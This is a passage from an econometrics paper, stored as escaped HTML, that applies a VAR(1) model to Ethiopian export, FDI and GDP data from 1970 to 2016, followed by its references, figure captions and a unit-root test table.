tests.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Consequently, testing the hypothesis that the variables are not co-integrated (r=0) against the alternative of one or more co-integrating vectors (r&gt;0), was tested by looking at the value of &lambda;<sub>TRACE </sub>or &lambda;MAX.&nbsp;&nbsp; Column 3 of the first part of Table 4 presents the trace values corresponding to each number of the cointegrating vector: &lambda;TRACE (0) = 25.345, &lambda;TRACE (1) = 12.594, and &lambda;TRACE(2) = 4.779. The corresponding critical values are 35.193, 20,262 and 9.165 respectively. Since the value of &lambda;TRACE is less the critical values for every number of co-integration indicated in (Table 4), we fail to reject the null hypothesis. Consequently, the &lambda; TRACE test statistcis indicates the absence of cointegration between GDP, export and FDI. Similar results were obtained by using the maximum eigen value statistics. Results of &lambda;MAX (0), &lambda;MAX(1), and &lambda;MAX(2) are presented in Column 3 of the second part of Table 4. These values: &lambda;MAX (0)= 12.752, &lambda;MAX (1)= 7.815 , and &lambda;MAX (2)= 4.779 are all less than their 5% critical vales of 22.299, 15.892 and 9.165 respectively. This test statistics also fails to reject the null hypothesis. Therefore, using both trace and maximum eigen values we can conclude that there is no co-integration between GDP, export and FDI. The decision of the choice between VECM and VAR could also be made easily using these information. VECM cannot be used to study the relationship between GDP, export and FDI. But, we can use VAR to study their relationship. Consequently, our model follows VAR (1) model. Thus, VAR (1) is fitted to the stationary differenced data and diagnostic tests with respect to the residuals were tested.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>5.4.&nbsp;</strong><strong>Vector autoregression</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">(Table 5) presents the estimation results of VAR (1) model. It was estimated to examine dependency of LNGDP, LNEXPORT and LNFDI on their own past and the past values of the other variables. Stability test of VAR (1) model was also tested. According results presented in (Table 6), VAR satisfies the stability condition.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>5.5.&nbsp;</strong><strong>Diagnostic checking </strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>5.5.1.&nbsp;</strong><strong>Testing for residual autocorrelation</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">In time series models, autocorrelation of the residual values is used to determine the goodness of fit of the model. Autocorrelation of the residuals indicates that there is information that has not been accounted for in the model. Consequently, the null hypothesis which states there is no residual autocorrelation against the alternative hypothesis which claims the existence of residual autocorrelation was tested by using the Lagrange Multiplier (LM) test which is the standard tool for checking residual autocorrelation in VAR models. Results presented in (Table 7) shows that the LM-statistics values for the lag order of 1, 2 provides evidence for acceptance of null hypothesis of no autocorrelation at each lag. Thus, there is no problem of residual autocorrelations in VAR (1) model.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>5.5.2.&nbsp;</strong><strong>Heteroscedasticity test </strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The other important diagnostic test in VAR model test is the test of heteroscedasticity test. Accordingly, the null hypothesis stating there is heteroscedasticity was tested against the alternative hypothesis providing evidence for the presence of homoscedasticity. The result presented in (Table 8) provides enough evidence for the rejection of our null hypothesis. Therefore, absence of the problem of heteroscedasticity in our VAR model is an indication for the goodness of our model.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>5.5.3.&nbsp;</strong><strong>Normality test </strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">According to results presented in (Table 9), we cannot reject the hypothesis of normality properties. This is because, P-values of 0.0162, 0.2443 and 0.0249 for skewness, kurtosis and the Jarque-Bera test are all greater than 0.01 respectively. This provides some evidence for the hypothesis that residuals from our VAR model have a normal distribution.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>5.6.&nbsp;</strong><strong>Granger Causality </strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">(Table 10) presents the results from the Granger Causality/Block Exogeneity Wald Tests and includes three parts. The first part reports the result of testing that shows whether we can exclude each variable from the equation of DLNGDP. Table 10 includes four columns each specifying lists of the variables that will be excluded from the equation, the value of the Chi-square test, degrees of freedom and P-value respectively. The last row in each part of the table reports the joint statistics of the variables excluded from the equation.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Results corresponding to the DLNGDP equation shows that the Chi-squares for DLNFDI,<br />\r\nand DLNEXPORT are respectively <strong>4.934086 and 9.058188</strong>. The p value of both of them is less than 5% indicating significance in granger cause of both variables. Thus, we reject the null hypothesis for both variables and conclude that there is causality from DLNFDI and DLNEXPORT to DLNGDP. This is confirmed by the fact that the joint Chi-square is significant.&nbsp; Thus, in both cases, we reject the null hypothesis to exclude variables from the equation of DLNGDP and came to conclusion of existence of causality between variables. </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">In the second part of Table 10, DLNFDI equation is presented with respective Chi-squares values of DLNGDP and DLNEXPORT. In this case we test the null hypothesis that there is no granger causality from DLNGDP and DLNEXPORT to DLNFDI. The Chi-square of DLNGDP and DLNEXPORT is 0.604167 and 0.269054 respectively. The corresponding p value of both variables is greater than 5%. This indicates that individually there is no granger cause from DLNGDP and DLNEXPORT to DLNFDI. The joint effect Chi-square value is (1.170263) also not significant (P&gt;0.05). Therefore, we can conclude that there is no Granger causality from both DLNGDP and DLNEXPORT to DLNFDI. </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The final section of Table 10 is about Granger causality flow from DLNGDP and DLNFDI to DLNEXPORT. The chi-square value is 0.932625 and 0.880689 for DLNGDP and DLNFDI respectively. Comparing their corresponding p-values with 5% indicates that both variables are individually not the granger cause of DLNEXPORT. Similarly, the joint effect chi-square value of both variables is not significant. This indicates that individually and jointly, there is no Granger causality from DLNGDP and DLNFDI to DLNEXPORT.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>5.7.&nbsp;</strong><strong>The impulse response relationship </strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">As it is mentioned in the previous sections, VAR is an important tool to analyze the long run relationship between economic variables.&nbsp; Important elements of VAR estimation used to study long run relationship between variables including impulse response relationship and variance decomposition analysis were estimated to see how the shock in one of the variables is going to affect the long run values of the other variables.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Results presented in (Figure 4-6) shows how the shock to DLNGDP is going to affect the long run values of DLNGDP, DLNFDI and DLNEXPORT. In figure 4, it could be seen that the shock to DLNGDP has positive effect on its values. But, this positive effect will soon disappear after five year which results zero effect of shock to DLNGDP to its own values. In the case of export and DLNFDI, the shock to DLNGDP has zero effect to both DLNEXPORT and DLNFDI. This results to similar to the Granger-cause results presented in the previous section in which it was revealed DLNGDP is not the Granger cause of both DLNEXPORT and DLNFDI. Therefore, it can be concluded from both the Granger and impulse response function that shocks to DLNGDP do not affect the long run values of both DLNFDI and DLNEXPORT.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The effects of shocks to DLNEXPORT to DLNGDP, DLNFDI and DLNEXPORT were presented in (Figure 10-12). The effect of the shocks to DLNGDP was positive throughout the period. This is similar with the results obtained in Granger Causality/Block Exogeneity Wald Tests. There was significant and positive Granger cause from DLNEXPORT to DLNGDP. However, the effect of the shocks to DLNFDI was zero throughout the period. Granger Causality/Block Exogeneity Wald Tests also showed the same results. The shocks to DLNEXPORT had also positive effects in the case of the long run value of DLNEXPORT. But the effect had disappeared in the final years.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>5.8.&nbsp;</strong><strong>Variance Decomposition</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">(Table 11) reports the variance decomposition of each endogenous variable used for the estimation of VAR (1) including DLNGDP, DLNFDI and DLNEXPORT respectively. In addition to the standard error of the sample set,&nbsp; the variance proportion of the shock to each variable in each time period were presented in the third column to column five under three sections.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">According results presented in the first section of Table 11, the fluctuations of DLNGDP are explained mainly by DLNGDP shocks and DLNEXPORT shocks, in the long run. In the first year 100% of shocks came from DLNGDP shock. Its proportion in the variance of DLNGDP decreases over time and reaches 17.89% in the last year. DLNEXPORT shock accounts for 0% in the first year in variance decomposition of DLNGDP. However, its proportion increases over time and reaches 80% in the last year. In the case of variance decomposition of DLNEXPORT, DLNEXPORT shock which is assumed to account for the whole variance of DLNEXPORT in the first year, continuo dominating in the following years. The effect of shocks from both DLNGDP and DLNFDI are almost insignificant in DLNEXPORT variance decomposition analysis. Finally, the variance decomposition of DLNFDI also revealed that the shock of DLNFDI dominates the variation right from the beginning up to the end of the period. The shocks from both DLNGDP and DLNEXPORT were very low. Therefore, the evidence suggests that FDI shock is the sole factor explaining DLNFDI variability. DLNFDI shock accounts for about 99.99% in the first year. This high proportion continuo dominating the whole period until it finally decline to 86.8% in the last year.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>6.&nbsp;Conclusion</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">In this paper the long run dynamic relationship between foreign direct investment (FDI), export, and economic growth of Ethiopia was examined using long run data from 1970-2016. This was motivated by the role that foreign direct investment and export have played in many economies of the world. However, without understanding the direction of the relationships between these variables, it is not possible to draw important lessons for policy making purposes in an effort to pursue more effective policies that promote economic growth. Consequently, the VAR model developed by [20] was applied to export, FDI and economic growth in Ethiopia to examine their dynamic relationships. The lag selection criteria applied to the VAR model revealed VAR (1) is an optimal model for the study. The results of Johansen (1988) [27] Cointegration technique indicated absence of long run cointegration between the series. As a result, the long run relationship between the series was studied by estimating VAR (1). The diagnostic tests and the stability test results show VAR (1) model is good model to study the relationship between FDI, export and GDP.&nbsp; The Granger Causality/Block Exogeneity Wald Tests statistics showed that there is unidirectional causal flow from FDI and export to GDP. That is, there is no Granger causality from GDP to other series. This result was supported by the impulse response relationship and variance decomposition analysis estimated to see how the shock in one of the variables is going to affect the long run values of the other variables. The result showed that the shock to GDP has positive effect on its values. But, in the case of export and FDI, the shock to GDP has zero effect to both export and FDI. In the case of FDI, the effect of shocks to FDI was positive for few years which disappeared soon. However, this result is opposite to Granger Causality/Block Exogeneity Wald Tests in the case of GDP. The effect of the shocks to export on GDP was positive throughout the period. This is similar with the results obtained in Granger Causality/Block Exogeneity Wald Tests. There was significant and positive Granger cause from export to GDP. However, the effect of the shocks to export on FDI was low at the beginning but started increasing in the last years of the period. The shocks to export had also positive effects in the case of the long run value of its value. Similar results were revealed by the variance decomposition analysis. Thus, the evidence suggests that Ethiopia should emphasize the export-led growth strategy in addition providing good environments to attract more capital investments with enhanced technology and competitive industrial productions for exports.</span></p>\r\n','<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"http://www.rejournal.eu/article/economic-growth-foreign-investments-and-exports-romania-vecm-analysis\">Popovici OC and Calin AC (2016) Economic growth, Foreign direct investment and exports in Romania: A VECM analysis. The Romania Economic journal: Year XIX no. 16.</a> </span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://thejournalofbusiness.org/index.php/site/article/viewFile/89/88\">Antwi S and Zhao X (2013) Impact of foreign direct investment and economic growth in Ghana: A cointegration analysis. Jiangsu University, P.R China.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://faculty.washington.edu/karyiu/confer/seoul06/papers/hsiao-hsiao.pdf\">Frank ST Hsiao and Mei-chu W Hsiao (2006) FDI, export, and economic growth in east and southeast Asia-evidence from time series and panel data causality analysis. Paper presented at 2016 ?nternational conference on Korea and world economy V at Korea University, Seoul Korea.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.researchgate.net/publication/301550937_Foreign_Direct_Investment_and_Economic_Growth_in_Uganda_Evidence_from_Vector_Autoregressive_Model\">Odongo M (2012) Foreign Direct Investment and Economic Growth in Uganda. MSc paper Submitted to Department of Economics, University Of Malawi.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"http://store.ectap.ro/articole/789.pdf\">Bianca ML (2012) A VAR Analysis of the Connection between FDI and economic growth in Romania. Journal of Theoretical and Applied Economics 2012: 115-130.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"http://repository.unam.edu.na/bitstream/handle/11070/1991/ingo_2015.pdf?sequence=1&amp;isAllowed=y\">S Ingo (2015) An Examination of the Causal Relationship between Economic Growth, Foreign Direct Investment and Exports in Namibia. Thesis submitted in partial ful filment of the requirement for the degree of msc in economics, University Of Namibia.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.15640/jeds.v3n1a8\">Romero J (2015) Export, Import, FDI and GDP in Mexico: 1989-2013. Journal of Economics and Development Studies 3: 133-172.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"http://www.ub.edu/irea/working_papers/2010/201010.pdf\">Martin JM (2010) On the Dynamics of export and FDI: The Spanish ?nternationalization Process. Research Institute of Applied Economics: Working paper 2010/10.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Nguyen HT (2011) Exports, imports, FDI and Economic growth. Discussion Paper in Economics: University of Colorado at Boulder.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.5923/j.economics.20120203.05\">Allaro HB (2012) The Effect of Export Led Growth Strategy on the Ethiopia Economy. American Journal of Economics 2: 50-56.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Woinshet B (2014) The Relationship between Export and Economic Growth in Ethiopia. M Sc Paper Submitted To Department Of Economics, Addis Ababa University Ethiopia.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.jjay.cuny.edu/sites/default/files/contentgroups/center_international_human_rights/jbdnv1302_0.pdf\">Hussain MA (2014) Economic growth, export and imports in Pakistan: Granger causality analysis. The Journal of Business In Developing Nation Volume: 13.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://ideas.repec.org/a/rjr/romjef/vy2012i2p52-67.html\">Acarvaci A, Ozturk I (2012) Foreign direct investment, export and economic growth: empirical evidence from new EU countries. Romanian Journal of Economic Forecasting 2: 52-67.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.5897/jeif2013.0537\">Jarra ST (2013) Exports, Domestic Demand and Economic Growth in Ethiopia: Granger Causality Analysis. Journal of Economics and International Finance 5: 357-372.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"http://article.sapub.org/10.5923.j.economics.20170701.06.html\">Dechasa Obsi Gudeta, Butte GA and Ayele TG (2017) Vector autoregressive modelling of some economic growth indicators of Ethiopia. American Journal of economics 7: 46-62.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.onlinejournal.in/IJIRV3I1/071.pdf\">Tessema BT (2017) The Relationship between ?mport, Export and Economic Growth in Ethiopia. ?mperial Journal of Interdisciplinary Research Volume: 3.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Tadele MG (2013) Foreign direct investment and Ethiopia economy (A trend, determinant and impact analysis). MSc paper submitted to Department of Management Mekelle University Ethiopia.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Menamo MD (2014) Impact of Foreign Direct Investment on Economic Growth of Ethiopia: A Time Series Empirical Analysis, 1974-2011. MSc Paper Submitted To Department Of Economics University Of Oslo.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">National Bank of Ethiopia (NB), 2016/17: Annual report, Domestic Economic analysis and publication directorate, Addis Ababa, Ethiopia.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.2307/1912017\">Sims CA (1980) Macroeconomics and Reality. Econometrica 48: 1-48.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">L&uuml;tkephol H (2005) Introduction to Multiple Time Series Analysis, Springer.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.2307/2286348\">D Dickey and W Fuller (1979) Distribution of the Estimators for Autoregressive Time Series with a Unit Root, Journal of the American Statistical Association 74: 427-431.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1093/biomet/75.2.335\">P Phillips and P Perron (1988) Testing for a Unit Root in Time Series<br />\r\n	Regression. Bimetrika 75: 335-346.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://ideas.repec.org/a/spt/stecon/v5y2016i4f5_4_3.html\">E Nkoro and AK Uko (2016) Autoregressive Distributed Lag (ARDL) cointegration technique: application and interpretation. Journal of Statistical and Econometric Methods 5: 63-91.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.2307/1913236\">Engle RF and Granger C (1987) Cointegration and Error Correction: Representation, Estimation and Testing. Econometrica 55: 251-276.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">MH Pesaran and Y Shin (1999) An Autoregressive Distributed Lag Modeling Approach to Cointegration Analysis, In: Strom, S., Holly, A., Diamond, P. (Eds.), Centennial Volume of Rangar Frisch, Cambridge University Press, Cambridge.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">S Johansen and K Juselius (1988) Hypothesis Testing for Cointegration Vectors with an Application to the Demand for Money in Denmark and Finland. Working Paper No. 88-05, University of Copenhagen.</span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://doi.org/10.1111/j.1468-0084.1990.mp52002003.x\">S Johansen and K Juselius (1990) Maximum Likelihood Estimation and Inference on Cointegration-With Applications to the Demand for Money. Oxford Bulletin of Economics and Statistics 52: 169-210.</a></span></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\">Enders W (2003) Applied econometrics time series, Wiley. </span></span></li>\r\n</ol>\r\n','<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">Figure <!--[if supportFields]><span style=\'font-size:10.0pt;\r\nline-height:115%;font-family:\"Times New Roman\",serif;mso-fareast-font-family:\r\nCalibri;mso-fareast-theme-font:minor-latin;mso-ansi-language:EN-US;mso-fareast-language:\r\nEN-US;mso-bidi-language:AR-SA\'><span style=\'mso-element:field-begin\'></span><span\r\nstyle=\'mso-spacerun:yes\'> </span>SEQ Figure \\* ARABIC <span style=\'mso-element:\r\nfield-separator\'></span></span><![endif]-->1<!--[if supportFields]><span\r\nstyle=\'font-size:10.0pt;line-height:115%;font-family:\"Times New Roman\",serif;\r\nmso-fareast-font-family:Calibri;mso-fareast-theme-font:minor-latin;mso-ansi-language:\r\nEN-US;mso-fareast-language:EN-US;mso-bidi-language:AR-SA\'><span\r\nstyle=\'mso-element:field-end\'></span></span><![endif]-->:<strong> LNGDP</strong></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/562a5037.jpg\" style=\"height:368px; width:563px\" /></strong></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">Figure <!--[if supportFields]><span style=\'font-size:10.0pt;\r\nline-height:115%;font-family:\"Times New Roman\",serif;mso-fareast-font-family:\r\nCalibri;mso-fareast-theme-font:minor-latin;mso-ansi-language:EN-US;mso-fareast-language:\r\nEN-US;mso-bidi-language:AR-SA\'><span style=\'mso-element:field-begin\'></span><span\r\nstyle=\'mso-spacerun:yes\'> </span>SEQ Figure \\* ARABIC <span style=\'mso-element:\r\nfield-separator\'></span></span><![endif]-->2<!--[if supportFields]><span\r\nstyle=\'font-size:10.0pt;line-height:115%;font-family:\"Times New Roman\",serif;\r\nmso-fareast-font-family:Calibri;mso-fareast-theme-font:minor-latin;mso-ansi-language:\r\nEN-US;mso-fareast-language:EN-US;mso-bidi-language:AR-SA\'><span\r\nstyle=\'mso-element:field-end\'></span></span><![endif]-->: LNEXPORT</span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/574f0fe8.jpg\" style=\"height:357px; width:523px\" /></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">Figure <!--[if supportFields]><span style=\'font-size:10.0pt;\r\nline-height:115%;font-family:\"Times New Roman\",serif;mso-fareast-font-family:\r\nCalibri;mso-fareast-theme-font:minor-latin;mso-ansi-language:EN-US;mso-fareast-language:\r\nEN-US;mso-bidi-language:AR-SA\'><span style=\'mso-element:field-begin\'></span><span\r\nstyle=\'mso-spacerun:yes\'> </span>SEQ Figure \\* ARABIC <span style=\'mso-element:\r\nfield-separator\'></span></span><![endif]-->3<!--[if supportFields]><span\r\nstyle=\'font-size:10.0pt;line-height:115%;font-family:\"Times New Roman\",serif;\r\nmso-fareast-font-family:Calibri;mso-fareast-theme-font:minor-latin;mso-ansi-language:\r\nEN-US;mso-fareast-language:EN-US;mso-bidi-language:AR-SA\'><span\r\nstyle=\'mso-element:field-end\'></span></span><![endif]-->: LNFDI</span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><img alt=\"\" src=\"https://grfpublishers.com/assets/ckeditor/plugins/imageuploader/uploads/5863cda1.jpg\" style=\"height:364px; width:578px\" /></span></span></p>\r\n\r\n<p style=\"text-align:center\">&nbsp;</p>\r\n','<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Citation:</strong> Ozkan B, Dube AK (2018) Export, Foreign Direct Investment (FDI) and Economic Growth in Ethiopia: VAR Analysis. Open Acc J Agri Res: OAJAR-1000111.</span></p>\r\n','<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">Table <!--[if supportFields]><span style=\'font-size:10.0pt;\r\nline-height:115%;font-family:\"Times New Roman\",serif;mso-fareast-font-family:\r\nCalibri;mso-fareast-theme-font:minor-latin;mso-ansi-language:EN-US;mso-fareast-language:\r\nEN-US;mso-bidi-language:AR-SA\'><span style=\'mso-element:field-begin\'></span><span\r\nstyle=\'mso-spacerun:yes\'> </span>SEQ Table \\* ARABIC <span style=\'mso-element:\r\nfield-separator\'></span></span><![endif]-->1<!--[if supportFields]><span\r\nstyle=\'font-size:10.0pt;line-height:115%;font-family:\"Times New Roman\",serif;\r\nmso-fareast-font-family:Calibri;mso-fareast-theme-font:minor-latin;mso-ansi-language:\r\nEN-US;mso-fareast-language:EN-US;mso-bidi-language:AR-SA\'><span\r\nstyle=\'mso-element:field-end\'></span></span><![endif]-->: <strong>Results of ADF and PP level data test statistics.</strong></span></span></p>\r\n\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"MsoTableGrid\" style=\"width:700px\">\r\n	<tbody>\r\n		<tr>\r\n			<td rowspan=\"2\" style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Variables</span></strong></span></p>\r\n			</td>\r\n			<td colspan=\"2\" style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">ADF test statistics</span></strong></span></p>\r\n\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td colspan=\"2\" style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">PP test</span></strong></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Intercept</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Trend and intercept</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Intercept</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Trend and intercept</span></strong></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:62.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Lngdp</span></p>\r\n			</td>\r\n			<td style=\"width:77.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.650280</span></p>\r\n			</td>\r\n			<td style=\"width:133.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-1.231464</span></p>\r\n			</td>\r\n			<td style=\"width:77.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.576170</span></p>\r\n			</td>\r\n			<td style=\"width:126.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-0.665776</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:62.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Lnexport</span></p>\r\n			</td>\r\n			<td style=\"width:77.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-0.496062</span></p>\r\n			</td>\r\n			<td style=\"width:133.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-1.387676</span></p>\r\n			</td>\r\n			<td style=\"width:77.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-0.627633</span></p>\r\n			</td>\r\n			<td style=\"width:126.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-1.617360</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:62.65pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Lnfdi</span></p>\r\n			</td>\r\n			<td style=\"width:77.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-0.454328</span></p>\r\n			</td>\r\n			<td style=\"width:133.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-3.190757</span></p>\r\n			</td>\r\n			<td style=\"width:77.95pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-1.308548</span></p>\r\n			</td>\r\n			<td style=\"width:126.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">-3.082962</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"5\" style=\"width:6.65in\">\r\n			<p style=\"margin-left:5.4pt; margin-right:0in; text-align:center\"><span style=\"font-size:10.0pt\">Source: Own computation, critical value at 5% : 2.9</span></p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New 